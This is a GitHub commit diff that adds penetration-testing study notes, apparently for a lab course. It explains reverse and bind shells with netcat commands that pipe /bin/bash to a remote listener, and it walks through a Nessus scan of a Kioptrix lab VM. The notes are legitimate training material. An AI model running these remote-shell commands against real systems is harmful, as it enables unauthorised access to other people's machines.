-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
9460c9a
commit 308ac94
Showing
9 changed files
with
80 additions
and
4 deletions.
There are no files selected for viewing
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,45 @@ | ||
# Exploitation Basics | ||
# Exploitation Basics | ||
|
||
## Reverse shell vs Bind shell | ||
|
||
➡️ [netcat](https://netcat.sourceforge.net/) | ||
|
||
**Reverse shell** - the victim/target connects back to the attacker | ||
|
||
- Attack machine - **listening** on a port | ||
- Target machine - connect to the attacker machine listening port | ||
|
||
![Netcat Reverse Shell - hackingtutorials.org](.gitbook/assets/Netcat-reverse-shell.jpg) | ||
|
||
```bash | ||
# Attacker | ||
nc -nvlp 4444 | ||
|
||
# Target | ||
nc 192.168.31.131 4444 -e /bin/bash | ||
``` | ||
|
||
![Reverse shell](.gitbook/assets/2024-07-11_20-40-27_596.png) | ||
|
||
**Bind shell** - the attacker opens a port on the target (via exploitation) and connects to it | ||
|
||
- Attack machine - exploits target and opens port listening on target and connects to it | ||
- Target machine - listens for the attacker connection | ||
|
||
![Netcat Bind Shell - hackingtutorials.org](.gitbook/assets/Netcat-bind-shell.jpg) | ||
|
||
- Specially used on external assessment | ||
|
||
```bash | ||
# Target | ||
nc -nvlp 4444 -e /bin/bash | ||
|
||
# Attacker | ||
nc 192.168.31.131 4444 | ||
``` | ||
|
||
![Bind shell](.gitbook/assets/2024-07-11_20-41-43_597.png) | ||
|
||
--- | ||
|
||
## Staged vs Non-Staged payloads |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,31 @@ | ||
# Vulnerability Scanning with Nessus | ||
# Vulnerability Scanning with Nessus | ||
|
||
## Nessus | ||
|
||
➡️ [Nessus](https://www.tenable.com/products/nessus/nessus-essentials) | ||
|
||
- [Download Nessus](https://www.tenable.com/downloads/nessus) | ||
|
||
```bash | ||
curl --request GET --url 'https://www.tenable.com/downloads/api/v2/pages/nessus/files/Nessus-10.7.4-ubuntu1404_amd64.deb' --output 'Nessus-10.7.4-ubuntu1404_amd64.deb' | ||
|
||
sudo dpkg -i Nessus-10.7.4-ubuntu1404_amd64.deb | ||
|
||
sudo systemctl start nessusd.service | ||
``` | ||
|
||
- Open the browser and go to [https://localhost:8834](https://localhost:8834) | ||
- Follow my guide here to configure Nessus - [Nessus Essentials - syselement](https://blog.syselement.com/home/operating-systems/linux/tools/nessus) | ||
|
||
- Set a new scan with | ||
- Kioptrix VM IP - `192.168.31.130` | ||
- Discovery - `Port scan (all ports)` | ||
- Assessment - `Scan for known web vulnerabilities` | ||
- Advanced settings if necessary | ||
|
||
![](.gitbook/assets/2024-07-11_20-44-16_599.png) | ||
|
||
![](.gitbook/assets/2024-07-11_20-44-48_600.png) | ||
|
||
--- | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters